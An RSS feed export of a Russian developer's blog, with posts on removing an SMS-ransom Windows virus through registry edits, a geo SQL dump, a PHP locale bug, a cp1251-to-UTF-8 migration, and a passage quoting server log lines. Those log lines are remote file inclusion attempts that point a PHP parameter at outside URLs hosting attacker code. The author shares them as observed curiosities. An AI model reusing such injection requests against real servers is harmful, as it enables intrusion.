<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>заметки на полях</title>
	<atom:link href="http://svdev.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://svdev.ru</link>
	<description>Блокнот разработчика</description>
	<lastBuildDate>Sun, 28 Feb 2010 00:37:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Вирус требующий SMS</title>
		<link>http://svdev.ru/blog/windows-xp-sms-virus/</link>
		<comments>http://svdev.ru/blog/windows-xp-sms-virus/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 00:32:26 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=481</guid>
		<description><![CDATA[Принес мне товарищ ноутбук с вирусом, который при загрузке блокирует все действия и требует отправить SMS для разблокировки. Ну вещь вроде бы довольно распространенная в последнее время, а переустанавливать все заново было жалко времени &#8211; решил полечить.
Вылечилось все на ура с Dr. Web Live CD
Дальше оказалось все не так просто, установленный Avast отказывался запускаться под [...]]]></description>
			<content:encoded><![CDATA[<p>Принес мне товарищ ноутбук с вирусом, который при загрузке блокирует все действия и требует отправить SMS для разблокировки. Ну вещь вроде бы довольно распространенная в последнее время, а переустанавливать все заново было жалко времени &#8211; решил полечить.<span id="more-481"></span><br />
Вылечилось все на ура с <a href="http://www.freedrweb.com/livecd/">Dr. Web Live CD</a><br />
Дальше оказалось все не так просто, установленный Avast отказывался запускаться под таким предлогом &laquo;невозможно открыть данную программу из-за политики ограничения применения программного обеспечения&raquo;. Немного погуглив открыл для себя что в XP Home есть политики безопасности. Нашел даже на Microsoft <a href="http://technet.microsoft.com/ru-ru/library/cc737011(WS.10).aspx#BKMK_1">ответ на мой вопрос</a></p>
<blockquote><p><strong>Пользователи получают сообщение «Windows не может открыть эту программу, так как это запрещено политикой ограничений программ. За дополнительной информацией обратитесь системному администратору или откройте &laquo;Просмотр событий&raquo;.» Или в окне командной строки появляется сообщение «Не удается выполнить указанную программу.»</strong><br />
<strong>Причина.</strong>  В установленном по умолчанию уровене безопасности (или правиле) для программы выбрано значение Не разрешено, и в результате программа не запускается.</p>
<p><strong>Решение.</strong>  Найдите в журнале событий более подробное описание сообщения. Сообщения журнала событий указывают, для какого программного обеспечения установлен параметр Не разрешено и какое именно правило применяется к программе.</p></blockquote>
<p>Но не ответ на самый главный вопрос &laquo;че делать-то?!&raquo;<br />
Вариант копания в политиках отпал быстро, т. к. <strong>gpedit.msc</strong> или отсутствовал изначально или был заботливо удален вирусом. Нашел более элегантный вариант, удалить целиком ветку реестра: <code class="codecolorer bash default"><span class="bash">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer</span></code><br />
Ну вот и все, борьба окончена ) набираю в консоли <code class="codecolorer bash default"><span class="bash">regedit</span></code> и получаю <del datetime="2010-02-28T00:17:43+00:00">ху&#8230;</del></p>
<p><img src="http://svdev.ru/wp-content/uploads/2010/02/regedit.jpg" alt="" title="regedit" width="405" height="126" class="aligncenter size-full wp-image-489" /></p>
<p>Конец? Перестановка?<br />
Нашел что редактирование реестра можно разрешить через групповые политики (<a href="http://netler.ru/pc/regedit.htm">подробнее тут</a>), но вариант не подходит потому как редактор потерт &#8211; замкнутый круг какой &#8211; то <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Так вот политики все равно хранятся как я понял в реестре и можно из консоли удалить запрет на редактирование реестра (честно говоря сначала сомневался что получится &#8211; в редактор зайти нельзя, а из консоли пожалуйста) (<a href="http://netler.ru/pc/regedit-com.htm">подробнее тут</a>):</p>
<div class="codecolorer-container text vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /f</div></div>
<p>Regedit заработал и удалив указанную выше ветку реестра стал запускаться антивирус.</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/windows-xp-sms-virus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Список городов по странам и регионам</title>
		<link>http://svdev.ru/blog/country-city-region-dump/</link>
		<comments>http://svdev.ru/blog/country-city-region-dump/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 02:09:47 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=474</guid>
		<description><![CDATA[В архиве дамп трех табличек:

страны
регионы (с привязкой к стране)
города (с привязкой к региону и стране)

Кодировка файла UTF-8. Размер архива 4,7Мб. Забирать здесь.
После заливки желательно прицепить ключи:
ALTER TABLE region ADD constraint fk_region_ref_country FOREIGN KEY &#40;country_id&#41; REFERENCES country &#40;id&#41; ON DELETE restrict ON UPDATE cascade;
ALTER TABLE city ADD constraint fk_city_ref_region FOREIGN KEY &#40;region_id&#41; REFERENCES region &#40;id&#41; ON [...]]]></description>
			<content:encoded><![CDATA[<p>В архиве дамп трех табличек:</p>
<ul>
<li>страны</li>
<li>регионы (с привязкой к стране)</li>
<li>города (с привязкой к региону и стране)</li>
</ul>
<p>Кодировка файла UTF-8. Размер архива 4,7Мб. Забирать <a href="http://svdev.ru/wp-content/uploads/2010/02/geo.sql_.gz">здесь</a>.</p>
<p>После заливки желательно прицепить ключи:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> region <span style="color: #993333; font-weight: bold;">ADD</span> constraint fk_region_ref_country <span style="color: #993333; font-weight: bold;">FOREIGN</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #66cc66;">&#40;</span>country_id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">REFERENCES</span> country <span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">DELETE</span> restrict <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">UPDATE</span> cascade;<br />
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> city <span style="color: #993333; font-weight: bold;">ADD</span> constraint fk_city_ref_region <span style="color: #993333; font-weight: bold;">FOREIGN</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #66cc66;">&#40;</span>region_id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">REFERENCES</span> region <span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">DELETE</span> restrict <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">UPDATE</span> cascade;<br />
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> city <span style="color: #993333; font-weight: bold;">ADD</span> constraint fk_city_ref_country <span style="color: #993333; font-weight: bold;">FOREIGN</span> <span style="color: #993333; font-weight: bold;">KEY</span> <span style="color: #66cc66;">&#40;</span>country_id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">REFERENCES</span> country <span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">DELETE</span> restrict <span style="color: #993333; font-weight: bold;">ON</span> <span style="color: #993333; font-weight: bold;">UPDATE</span> cascade;</div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/country-city-region-dump/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как float зависит от локали?!</title>
		<link>http://svdev.ru/blog/float-setlocale-relation/</link>
		<comments>http://svdev.ru/blog/float-setlocale-relation/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 12:59:46 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=462</guid>
		<description><![CDATA[На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло &#8211; я вовремя нагуглил правильный ответ   Теперь собственно к делу.  Вот код и ожидаемый результат его выполнения:
$float = &#34;3.14&#34;;
echo $float; // 3.14
echo floatval&#40;$float&#41;; // 3.14
У меня [...]]]></description>
			<content:encoded><![CDATA[<p>На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло &#8211; я вовремя нагуглил правильный ответ <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Теперь собственно к делу.  Вот код и ожидаемый результат его выполнения:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$float</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;3.14&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$float</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/floatval"><span style="color: #990000;">floatval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$float</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span></div></div>
<p>У меня же получился другой вариант, от которого я честно говоря подвис:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$float</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;3.14&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$float</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/floatval"><span style="color: #990000;">floatval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$float</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3,14</span></div></div>
<p>Выяснилось что результат зависит от установки локали, у меня стояло: <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_ALL<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.UTF8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></span></code> пока остановился на таком варианте:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_CTYPE<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_TIME<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>PHP у меня <strong>5.2.10</strong>, а баг сей я так понимаю тащится аж с 2002 года версии <strong>4.3.0 RC2</strong>: <a href="http://bugs.php.net/bug.php?id=17079">Bug #17079 setlocale changes the internal representation of floats</a></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/float-setlocale-relation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Перевод сайта c cp1251 на UTF-8</title>
		<link>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/</link>
		<comments>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 18:57:03 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=429</guid>
		<description><![CDATA[Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev &#62; dump.sql &#8211; получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev &#62; data.sql, поменять кодировку полей в схеме, вместо:
name varchar&#40;64&#41; character SET cp1251 NOT NULL
сделать
name varchar&#40;64&#41; character [...]]]></description>
			<content:encoded><![CDATA[<p>Для начала перевести БД из cp1251 в utf8.<br />
Сделать дамп <code class="codecolorer sql default"><span class="sql">mysqldump <span style="color: #66cc66;">-</span>u svd <span style="color: #66cc66;">-</span>n <span style="color: #808080; font-style: italic;">--skip-opt --skip-set-charset --triggers --disable-keys svdev &gt; dump.sql</span></span></code> &#8211; получится чистый дамп без упаминания кодировок, можно получить отдельно данные: <code class="codecolorer sql default"><span class="sql">mysqldump <span style="color: #66cc66;">-</span>u svd <span style="color: #66cc66;">-</span>nt <span style="color: #808080; font-style: italic;">--skip-opt --skip-set-charset --disable-keys svdev &gt; data.sql</span></span></code>, поменять кодировку полей в схеме, вместо:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name varchar<span style="color: #66cc66;">&#40;</span>64<span style="color: #66cc66;">&#41;</span> character <span style="color: #993333; font-weight: bold;">SET</span> cp1251 <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>сделать</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name varchar<span style="color: #66cc66;">&#40;</span>64<span style="color: #66cc66;">&#41;</span> character <span style="color: #993333; font-weight: bold;">SET</span> utf8 <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>или же убрать упоминание кодировки из полей вовсе:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name varchar<span style="color: #66cc66;">&#40;</span>64<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">DATABASE</span> svdev <span style="color: #993333; font-weight: bold;">DEFAULT</span> CHARACTER <span style="color: #993333; font-weight: bold;">SET</span> utf8 COLLATE utf8_general_ci</div></div>
<p>и залить назад в обратном порядке &#8211; сначала структуру, затем данные.<br />
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо &#8211; типа tiny просто вынес сначала из проекта, а затем вернул обратно:<span id="more-429"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #000000; font-weight: bold;">for</span> FILE <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>svdev<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">egrep</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;\.(php|html)$&quot;</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">do</span><br />
iconv <span style="color: #660033;">-f</span> cp1251 <span style="color: #660033;">-t</span> utf8 <span style="color: #007800;">$FILE</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot;.utf&quot;</span><br />
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot;.utf&quot;</span> <span style="color: #007800;">$FILE</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot; - work complete&quot;</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<p>Он в заданной директории файлы по маске .php и .html перекодирует в UTF используя утилиту iconv во временный файл, а затем перезаписывает исходный файл временным.<br />
Следующим шагом убедимся в правильной настройке mb_ функций PHP. Для этого создадим файлик <code class="codecolorer bash default"><span class="bash"><span style="color: #c20cb9; font-weight: bold;">vim</span> strtest.php</span></code> и положим в него следующее содержимое:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/mb_strlen"><span style="color: #990000;">mb_strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/mb_strlen"><span style="color: #990000;">mb_strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;UTF-8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Правильная длина строки &#8211; 14 символов. Выполним его из консоли: <code class="codecolorer bash default"><span class="bash">php5-cgi strtest.php</span></code> В начале у меня получилось следующее:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.10-2ubuntu6.3<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html<br />
<br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">14</span></div></div>
<p>Для исправления &#8211; установим верные значения в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>cgi<span style="color: #000000; font-weight: bold;">/</span>php.ini</span></code> и <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>cli<span style="color: #000000; font-weight: bold;">/</span>php.ini</span></code>, для этого по файлу надо поискать <strong>encoding</strong> и <strong>charset</strong><br />
Нашлись следующие параметры:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">default_charset = <span style="color: #ff0000;">&quot;UTF-8&quot;</span><br />
...<br />
mbstring.language = Russian<br />
mbstring.internal_encoding = UTF-<span style="color: #000000;">8</span></div></div>
<p>Теперь при повторном выполнении теста <code class="codecolorer bash default"><span class="bash">php5-cgi strtest.php</span></code> второе значение без указания кодировки должно совпасть с первым и появиться кодировка по умолчанию:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.10-2ubuntu6.3<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html; <span style="color: #007800;">charset</span>=UTF-<span style="color: #000000;">8</span><br />
<br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">14</span><br />
<span style="color: #000000;">14</span></div></div>
<p>Так же не лишним будет в конфиге проекта указать верно локаль, к примеру <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_ALL<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></span></code> список доступных локалей в системе можно посмотреть <code class="codecolorer bash default"><span class="bash">locale <span style="color: #660033;">-a</span></span></code> (ну и на всякий случай проверить что с новой локалью не будет багов, подробнее здесь: <a href="http://svdev.ru/blog/float-setlocale-relation/">Как float зависит от локали?!</a> )<br />
Указать кодировку в настройках nginx для нужного сайта <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>sites-available<span style="color: #000000; font-weight: bold;">/</span>svdev</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">server <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
...<br />
&nbsp; &nbsp; &nbsp; &nbsp; charset &nbsp; &nbsp; &nbsp; &nbsp; UTF-<span style="color: #000000;">8</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; source_charset &nbsp;UTF-<span style="color: #000000;">8</span>;<br />
...<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
<p>Ну и самая нудная часть &#8211; пройтись по проекту и заменить функции работы со строками на их <strong>mb_</strong> аналоги, в используемые регулярные выражения добавить модификатор <strong>u</strong> и если отправляются где-то письма &#8211; изменить кодировку писем.<br />
Ну вот вроде и все! Перед всеми манипуляциями неплохо бы сделать резервную копию файлов и БД, на всякий случай.</p>
<h3>Дополнительное чтиво</h3>
<ul>
<li><a href="http://sysoev.ru/nginx/docs/http/ngx_http_charset_module.html" target="_blank">Директивы модуля ngx_http_charset_module</a></li>
<li><a href="http://ru2.php.net/manual/en/function.setlocale.php" target="_blank">PHP &#8211; Set locale information</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking часть II</title>
		<link>http://svdev.ru/blog/hacking-part-2/</link>
		<comments>http://svdev.ru/blog/hacking-part-2/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 16:18:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-ii/</guid>
		<description><![CDATA[Продолжаю серию забавных вещей из логов:
client: 188.126.37.18, server: ***, request: &#34;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??
Файлик zfxid1.txt следующего содержания:
zfxid.txt
&#60;?php /* ZFxID */ echo&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; die&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; /* ZFxID */ ?&#62;
Дальше интересней
client: 89.38.128.140, server: ***, request: &#34;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??
client: 89.38.128.140, server: ***, request: &#34;GET //?_SERVER&#91;DOCUMENT_ROOT&#93;=http://hiiraginao.com//test.gif??
Файлик test.gif следующего содержания:
&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;!-- saved from url=(0036)http://www.depo.org.pk/images/21/ts? --&#62;
&#60;HTML&#62;&#60;HEAD&#62;&#60;TITLE&#62;SysTrojan&#60;/TITLE&#62;
&#60;META http-equiv=Content-Type content=&#34;text/html; charset=windows-1252&#34;&#62;
&#60;META content=&#34;MSHTML 6.00.2900.5512&#34; [...]]]></description>
			<content:encoded><![CDATA[<p>Продолжаю серию забавных вещей из логов:<span id="more-422"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 188.126.37.18, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??</span></div></div>
<p>Файлик zfxid1.txt следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">zfxid.txt<br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Дальше интересней</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.38.128.140, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??<br />
